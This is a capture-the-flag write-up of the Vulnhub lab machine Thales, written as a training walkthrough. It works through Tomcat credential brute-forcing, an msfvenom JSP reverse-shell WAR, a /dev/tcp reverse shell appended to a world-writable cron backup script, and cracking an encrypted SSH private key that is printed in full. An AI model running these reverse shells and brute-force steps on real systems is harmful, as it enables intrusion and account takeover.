Write-up Thales on Vulnhub
Today I’ve downloaded Thales from Vulnhub. A vulnerable machine with two users, a low privileged user and a root user. As soon as I accaccess to a shell on the system, I saw a privilege escalation path directly to root. After successfully exploiting this path, I took the other path as well, so that you can access the system via the low privileged user and after which you have to perform a privilege escaltion to become root. I have worked out both paths in my writeup.
Getting started
After booting my Kali machine, I checked which IP address was assigned to my machine.
1
2
3
┌──(emvee㉿kali)-[~]
└─$ hostname -I
10.0.2.4
My Kali machine was running on IP address “10.0.2.4”, it looks it did not change since the last time. Meanwhile I had booted the vulnerable machine “Thales” in my lab environment and it was up and running.
Enumeration
Since I didn’t know which IP address was assigned to the machine, I had to find out by using netdiscover, fping or an arp-scan. This time I decided to use netdiscover. I use the -r argument to give the range which should be scanned.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(emvee㉿kali)-[~]
└─$ sudo netdiscover -r 10.0.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.3 08:00:27:5c:6a:d6 1 60 PCS Systemtechnik GmbH
10.0.2.6 08:00:27:1b:bf:45 1 60 PCS Systemtechnik GmbH
After finishing the scan, netdiscover showed me an IP address which should be the target (Thales). I declared an variable ip and assigned the IP address to it. To see if the target is reachable I use the ping utility to see if the target answers my request.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(emvee㉿kali)-[~]
└─$ ip=10.0.2.6
┌──(emvee㉿kali)-[~]
└─$ ping -c3 $ip
PING 10.0.2.6 (10.0.2.6) 56(84) bytes of data.
64 bytes from 10.0.2.6: icmp_seq=1 ttl=64 time=0.745 ms
64 bytes from 10.0.2.6: icmp_seq=2 ttl=64 time=0.728 ms
64 bytes from 10.0.2.6: icmp_seq=3 ttl=64 time=0.747 ms
--- 10.0.2.6 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2084ms
rtt min/avg/max/mdev = 0.728/0.740/0.747/0.008 ms
It looks like Thales is responding to my ping request. I noticed the value ttl=64 (Time To Live). This is an indicator that the target Operating System is probably a Linux distro. Since I knoew that the target was up and running and replied even to my ping request, it was time to move on and scan for open ports and services on the target. To see what is runing on the target I use nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(emvee㉿kali)-[~]
└─$ sudo nmap -sC -sV -T4 -A -O -p- $ip
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-23 13:02 CEST
Nmap scan report for 10.0.2.6
Host is up (0.00061s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:19:ab:91:72:a5:71:d8:6d:75:1d:8f:65:df:e1:32 (RSA)
| 256 90:6e:a0:ee:d5:29:6c:b9:7b:05:db:c6:82:5c:19:bf (ECDSA)
|_ 256 54:4d:7b:e8:f9:7f:21:34:3e:ed:0f:d9:fe:93:bf:00 (ED25519)
8080/tcp open http Apache Tomcat 9.0.52
|_http-title: Apache Tomcat/9.0.52
|_http-favicon: Apache Tomcat
MAC Address: 08:00:27:1B:BF:45 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.61 ms 10.0.2.6
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.19 seconds
Within 12 seconds nmap was finished scanning th target and presented me some useful information which I added to my notes.
- Linux, probably Ubuntu
- Port 22
- SSH
- OpenSSH 7.6p1
- Port 8080
- HTTP
- Apache Tomcat/9.0.52
I noticed an Apache Tomcat 9.0.52 version running on port 8080. In the past I saw Apache Tomcat machines which could be exploited by uploading a war file with a reverse shell in a JSP file, so you gain a shell on the system. Therefor this would be my following step within enumerating services. To see what techniques are used on the web server I decided to run whatweb.
1
2
3
┌──(emvee㉿kali)-[~]
└─$ whatweb http://$ip:8080
http://10.0.2.6:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.0.2.6], Title[Apache Tomcat/9.0.52]
To bad, whatweb did not discover any new information, which brings me to enumerate some directories on the web server. Perhaps some hidden files and directories are hosted on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(emvee㉿kali)-[~]
└─$ dirb http://$ip:8080
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Sep 23 13:06:36 2022
URL_BASE: http://10.0.2.6:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.0.2.6:8080/ ----
+ http://10.0.2.6:8080/docs (CODE:302|SIZE:0)
+ http://10.0.2.6:8080/examples (CODE:302|SIZE:0)
+ http://10.0.2.6:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.0.2.6:8080/host-manager (CODE:302|SIZE:0)
+ http://10.0.2.6:8080/manager (CODE:302|SIZE:0)
+ http://10.0.2.6:8080/shell (CODE:302|SIZE:0)
-----------------
END_TIME: Fri Sep 23 13:06:44 2022
DOWNLOADED: 4612 - FOUND: 6
It looks like this is a default installation with the host-manger and manager directory hosted. To gain access to this machine I need to upload the war file via the Manager App.
By visiting the website via the browser I saw the default webpage of the Apache Tomcat installation. To upload the war file I have to access the Manager App.
I used the default credentials (tomcat:s3cret) to logon to the web app, but it did not work. The unauthorized page including the default credentials are shown.
Since the default credentials are not workingI had to find another pair which could be used to logon to the web app. While using my Google Fu I saw the website Hacktricks with an article about brute forcing accounts for Tomcat.
The brute force technique was used with Hydra or with Metasploit. The Hydra versiooption didn’t work out for me, so I decided to use Metasploit (msfconsole). After pwning this machine I looked for another manual way to brute force the Tomcat credentials and I found one. I have tried this and documente this in this writeup as well. This part is written at the bottem of this writeup.
To start msfconsole I use the -q argument to not show that fancy banner of Metasploit.
1
2
3
4
┌──(emvee㉿kali)-[~]
└─$ msfconsole -q
msf6 >
In the Hacktricks article I saw the command use auxiliary/scanner/http/tomcat_mgr_login to load the module within Metasploit.
1
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
To see which arguments should be set I use the command show options
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
I noticed a few options which should be set to run the exploit.
- RHOSTS -> IP address of the target
- USERNAME -> username (tomcat) or the list with usernames
- VERBOSE -> false to only see a valid combination
1
2
3
4
5
6
7
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.0.2.6
RHOSTS => 10.0.2.6
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERNAME tomcat
USERNAME => tomcat
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
To run the module I just need to type the command run and hit the enter key on my keyboard.
1
2
3
4
5
6
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[+] 10.0.2.6:8080 - Login Successful: tomcat:role1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
It has found a valid crednetials combination which I added to my notes: tomcat:role1 Because I had found potential credentials I ha dto try to logon to the App manager again.
I could logon with the credentials to the app manager. Now I need to create a JSP reverse shell as a war file to install on Tomcat. The easiest way is to use msfvenom. The command should look like this: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.4 LPORT=9999 -f war -o revshell.war
- -p is used to set the payload
- LHOST is used to set the listener host (IP address of attacker)
- LPORT is used to set the listener port (Port which the listener is running on)
- -f is used to set the file type
- -o is used to set the output name
1
2
3
4
5
┌──(emvee㉿kali)-[~]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.4 LPORT=9999 -f war -o revshell.war
Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: revshell.war
After creating the JSP reverse shell as war file I started my netcat listener on port 9999.
1
2
3
4
5
┌──(emvee㉿kali)-[~]
└─$ nc -lvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Since my netcat listener was running I had to upload the reverse shell to the manger.
By clicking on the Deploy button, my war file should be installed on the server. A new directory (revshell) should be added which could trigger my reverse shell.
After deploying my JSP reverse shell to the target, I only had to open the revshell directory in a new tab within the web browser. This will activate the reverse shell and my netcat listener should catch the connection.
Initial access
After opening the directory in a new tab I went back to my netcat listener.
1
2
3
4
5
6
7
8
┌──(emvee㉿kali)-[~]
└─$ nc -lvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.0.2.6.
Ncat: Connection from 10.0.2.6:49570.
It looks like a connection is established. Time to see who has connected to my machine. I use therefore a oneliner such as whoami;id;hostname;pwd
1
2
3
4
5
6
7
8
9
10
11
12
┌──(emvee㉿kali)-[~]
└─$ nc -lvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.0.2.6.
Ncat: Connection from 10.0.2.6:49570.
whoami;id;hostname;pwd
tomcat
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
miletus
/
The user tomcat is connecting from miletus to me and the working directory is in the root of the machine. I would like to know which users are on the target, so I use the command cat /etc/passwd to see which users are available on the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
thales:x:1000:1000:thales:/home/thales:/bin/bash
tomcat:x:999:999::/opt/tomcat:/bin/false
I identified the user thales on the system. Let’s see if I can access and enumerate the home directory of the user(s). I used the command ls home -ahlR to enumerate all directories and files even recusrive so I don’t miss anything.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
ls /home -ahlR
/home:
total 12K
drwxr-xr-x 3 root root 4.0K Aug 15 2021 .
drwxr-xr-x 24 root root 4.0K Sep 23 11:29 ..
drwxr-xr-x 6 thales thales 4.0K Oct 14 2021 thales
/home/thales:
total 52K
drwxr-xr-x 6 thales thales 4.0K Oct 14 2021 .
drwxr-xr-x 3 root root 4.0K Aug 15 2021 ..
-rw------- 1 thales thales 457 Oct 14 2021 .bash_history
-rw-r--r-- 1 thales thales 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 thales thales 3.7K Apr 4 2018 .bashrc
drwx------ 2 thales thales 4.0K Aug 15 2021 .cache
drwx------ 3 thales thales 4.0K Aug 15 2021 .gnupg
drwxrwxr-x 3 thales thales 4.0K Aug 15 2021 .local
-rw-r--r-- 1 root root 107 Oct 14 2021 notes.txt
-rw-r--r-- 1 thales thales 807 Apr 4 2018 .profile
-rw-r--r-- 1 root root 66 Aug 15 2021 .selected_editor
drwxrwxrwx 2 thales thales 4.0K Aug 16 2021 .ssh
-rw-r--r-- 1 thales thales 0 Oct 14 2021 .sudo_as_admin_successful
-rw------- 1 thales thales 33 Aug 15 2021 user.txt
/home/thales/.local:
total 12K
drwxrwxr-x 3 thales thales 4.0K Aug 15 2021 .
drwxr-xr-x 6 thales thales 4.0K Oct 14 2021 ..
drwx------ 3 thales thales 4.0K Aug 15 2021 share
/home/thales/.ssh:
total 16K
drwxrwxrwx 2 thales thales 4.0K Aug 16 2021 .
drwxr-xr-x 6 thales thales 4.0K Oct 14 2021 ..
-rw-r--r-- 1 thales thales 1.8K Aug 16 2021 id_rsa
-rw-r--r-- 1 thales thales 396 Aug 16 2021 id_rsa.pub
I noticed several interesting files which I added to my notes.
- notes.txt
- Can be read by anyone, so as well by the user tomcat
- user.txt
- Cannot be read by tomcat user
- id_rsa
- can be read by anyone, so as well by the user tomcat
Based on what I can read at this moment I start looking into the notes.txt file.
1
2
cat /home/thales/notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
It looks like there is a backup.sh file on the system. This is probably used to create a backup of the web directory and is probably scheduled via a cronjob. I guess this would be the way to escalte my priviliges to root. But before checking the backup.sh file I would like to capture the id_rsa file as well of the user Thales. I could use this as priviliege escaltion probably as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cat /home/thales/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF
ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----
I copied the private key into my working directory so I can use this at a later moment. For the moment I decided to see if I hace access to the backup.sh file. To see which permissions are set on the file I use the command ls -la /usr/local/bin/
1
2
3
4
5
ls -la /usr/local/bin/
total 12
drwxr-xr-x 2 root root 4096 Oct 14 2021 .
drwxr-xr-x 10 root root 4096 Aug 6 2020 ..
-rwxrwxrwx 1 root root 612 Oct 14 2021 backup.sh
It looks like the whole world has read, write and execute permissions on the backup.sh file. This could be interesting!! I decided to see what the script is doing by using the command cat /usr/local/bin/backup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
# What to backup.
backup_files="/opt/tomcat/"
# Where to backup to.
dest="/var/backups"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
It looks like it is used to backup indeed some files. Since I am allowed to edit the file I decided to append the file with a reverse shell.
Privilege escalation
To append this file I use the following command: echo “bash -c ‘exec bash -i &>/dev/tcp/10.0.2.4/4321 <&1’” »/usr/local/bin/backup.sh This will add a bash command at the end (bottom) of the file trying to make a connection to my attacker machine which has a listener on port 4321.
1
echo "bash -c 'exec bash -i &>/dev/tcp/10.0.2.4/4321 <&1'" >>/usr/local/bin/backup.sh
Now let’s check if the file was appended correctly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
# What to backup.
backup_files="/opt/tomcat/"
# Where to backup to.
dest="/var/backups"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
bash -c 'exec bash -i &>/dev/tcp/10.0.2.4/4321 <&1'
My command was added succesfully to the file at the end of the file. Now I had to start a netcat listener on port 4321.
1
2
3
4
5
┌──(emvee㉿kali)-[~]
└─$ nc -lvp 4321
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
My netcat listener was running on port 4321 and now I only have to wait for it! A moment to take a break and get something to drink.
1
2
3
4
5
6
7
8
9
10
┌──(emvee㉿kali)-[~]
└─$ nc -lvp 4321
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.0.2.6.
Ncat: Connection from 10.0.2.6:53570.
bash: cannot set terminal process group (13678): Inappropriate ioctl for device
bash: no job control in this shell
root@miletus:~#
When I came back I noticed a username root@miletus. Let’s see if this is correct by using the following command: whoami;id;hostname;cat /root/root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(emvee㉿kali)-[~]
└─$ nc -lvp 4321
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.0.2.6.
Ncat: Connection from 10.0.2.6:53570.
bash: cannot set terminal process group (13678): Inappropriate ioctl for device
bash: no job control in this shell
root@miletus:~# whoami;id;hostname;cat /root/root.txt
whoami;id;hostname;cat /root/root.txt
root
uid=0(root) gid=0(root) groups=0(root)
miletus
3a1c85bebf8833b0ecae900fb8598b17
I am root on the machine and I have captured the root flag. To capture the user flag I only have to run the following command: cat /home/thales/user.txt
1
2
3
4
root@miletus:~# cat /home/thales/user.txt
cat /home/thales/user.txt
a837c0b5d2a8a07225fd9905f5a0e9c4
root@miletus:~#
Both flags are captured, but I guess the intention was to capture the user flag before the root flag via the user Thales. This could be done via the private key of the user.
Alternative path…. via the user thales
Since I captured the private key to my notes I added it as well to my working directory for “thales” with nano.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(emvee㉿kali)-[~/Documents/thales]
└─$ nano id_rsa
┌──(emvee㉿kali)-[~/Documents/thales]
└─$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF
ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----
To gain the passphrase for the private key I use the command ssh2john id_rsa > hash-ssh to create a hash file which can be cracked with John the Ripper.
1
2
┌──(emvee㉿kali)-[~/Documents/thales]
└─$ ssh2john id_rsa > hash-ssh
As soon as the hash file is created I can start John the Ripper to brute force the passphrase with a dictionary. In this case I choose the famous rockyou file. I use the command john hash-ssh –wordlist=/usr/share/wordlists/rockyou.txt to start brute forcing the passphrase.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(emvee㉿kali)-[~/Documents/thales]
└─$ john hash-ssh --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06 (id_rsa)
1g 0:00:00:00 DONE (2022-09-23 21:36) 1.265g/s 3620Kp/s 3620Kc/s 3620KC/s vodka1420..vodka*rox
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
In no time the password for thales has been found. Now I can add the following to my notes: thales:vodka06 To logon via the SSH service I run the command ssh thales@$ip -i id_rsa
1
2
3
4
5
┌──(emvee㉿kali)-[~/Documents/thales]
└─$ ssh thales@$ip -i id_rsa
Enter passphrase for key 'id_rsa':
thales@10.0.2.6: Permission denied (publickey).
This didn’t work for me… Perhaps I could switch user (su) in the reverse shell. First I will upgrade the shell with a Python script, so I can see which user I am using. After I have upgraded the shell, I switch user with the command su thales, then I enter the password vodka06 and hit the enter key.
1
2
3
4
5
6
7
8
9
10
11
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@miletus:/$ su thales
su thales
Password: vodka06
thales@miletus:/$ whoami;id;hostname
whoami;id;hostname
thales
uid=1000(thales) gid=1000(thales) groups=1000(thales),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
miletus
thales@miletus:/$
It worked… to gain access to the user. The route to root is the same as written above by using the backup.sh file to gain privileges as root.
Alternative Tomcat Manager Brute Force
